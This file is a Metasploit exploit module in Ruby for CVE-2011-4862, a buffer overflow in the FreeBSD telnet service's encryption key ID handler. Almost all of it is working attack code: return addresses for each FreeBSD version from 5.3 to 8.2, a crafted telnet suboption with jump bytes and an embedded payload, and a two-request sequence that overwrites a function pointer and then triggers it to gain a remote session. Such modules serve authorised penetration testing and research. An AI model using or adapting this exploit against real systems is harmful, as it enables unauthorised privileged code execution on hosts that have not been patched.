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# -*- coding: binary -*-
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::Telnet
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  include Msf::Exploit::BruteTargets
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'FreeBSD Telnet Service Encryption Key ID Buffer Overflow',
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        'Description' => %q{
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          This module exploits a buffer overflow in the encryption option handler of the
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          FreeBSD telnet service.
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        },
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        'Author' => [
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          'Jaime Penalba Estebanez <jpenalbae[at]gmail.com>',
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          'Brandon Perry <bperry.volatile[at]gmail.com>',
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          'Dan Rosenberg',
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          'hdm'
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        ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          ['CVE', '2011-4862'],
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          ['OSVDB', '78020'],
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          ['BID', '51182'],
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          ['EDB', '18280']
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        ],
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        'Privileged' => true,
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        'Platform' => 'bsd',
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        'Arch' => [ ARCH_X86 ],
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        'Payload' => {
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          'Space' => 128,
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          'BadChars' => "\x00"
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        },
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        'Targets' => [
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          [ 'Automatic', {} ],
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          [ 'FreeBSD 8.2', { 'Ret' => 0x0804a8a9 } ], # call edx
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          [ 'FreeBSD 8.1', { 'Ret' => 0x0804a889 } ], # call edx
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          [ 'FreeBSD 8.0', { 'Ret' => 0x0804a869 } ], # call edx
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          [ 'FreeBSD 7.3/7.4', { 'Ret' => 0x08057bd0 } ], # call edx
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          [ 'FreeBSD 7.0/7.1/7.2', { 'Ret' => 0x0804c4e0 } ], # call edx
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          [ 'FreeBSD 6.3/6.4', { 'Ret' => 0x0804a5b4 } ], # call edx
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          [ 'FreeBSD 6.0/6.1/6.2', { 'Ret' => 0x08052925 } ], # call edx
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          [ 'FreeBSD 5.5', { 'Ret' => 0x0804cf31 } ], # call edx
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          # [ 'FreeBSD 5.4',         { 'Ret' => 0x08050006 } ] # Version 5.4 does not seem to be exploitable (the crypto() function is not called)
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          [ 'FreeBSD 5.3', { 'Ret' => 0x8059730 } ], # direct return
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          # Versions 5.2 and below do not support encyption
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        ],
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2011-12-23',
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        'Notes' => {
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          'Stability' => [ CRASH_SERVICE_RESTARTS, ],
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          'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ],
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          'Reliability' => [ REPEATABLE_SESSION, ]
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        }
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      )
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    )
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  end
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  def exploit_target(target)
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    connect
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    banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
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    vprint_status(banner_sanitized)
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    enc_init = "\xff\xfa\x26\x00\x01\x01\x12\x13\x14\x15\x16\x17\x18\x19\xff\xf0"
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    enc_keyid = "\xff\xfa\x26\x07"
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    end_suboption = "\xff\xf0"
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    # Telnet protocol requires 0xff to be escaped with another
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    penc = payload.encoded.gsub("\xff", "\xff\xff")
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    key_id = Rex::Text.rand_text_alphanumeric(400)
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    key_id[0, 2] = "\xeb\x76"
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    key_id[72, 4] = [ target['Ret'] - 20 ].pack('V')
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    key_id[76, 4] = [ target['Ret'] ].pack('V')
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    # Some of these bytes can get mangled, jump over them
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    key_id[80, 112] = Rex::Text.rand_text_alphanumeric(112)
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    # Bounce to the real payload (avoid corruption)
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    key_id[120, 2] = "\xeb\x46"
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    # The actual payload
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    key_id[192, penc.length] = penc
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    # Create the Key ID command
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    sploit = enc_keyid + key_id + end_suboption
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    # Initiate encryption
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    sock.put(enc_init)
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    # Wait for a successful response
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    loop do
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      data = begin
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        sock.get_once(-1, 5)
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      rescue StandardError
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        nil
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      end
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      if !data
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        fail_with(Failure::Unknown, 'This system does not support encryption')
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      end
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      break if data.index("\xff\xfa\x26\x02\x01")
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    end
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    # The first request smashes the pointer
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    print_status('Sending first payload')
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    sock.put(sploit)
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    # Make sure the server replied to the first request
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    data = sock.get_once(-1, 5)
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    unless data
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      print_status('Server did not respond to first payload')
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      return
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    end
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    # Some delay between each request seems necessary in some cases
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    ::IO.select(nil, nil, nil, 0.5)
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    # The second request results in the pointer being called
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    print_status('Sending second payload...')
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    sock.put(sploit)
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    handler
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    ::IO.select(nil, nil, nil, 0.5)
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    disconnect
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  end
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end
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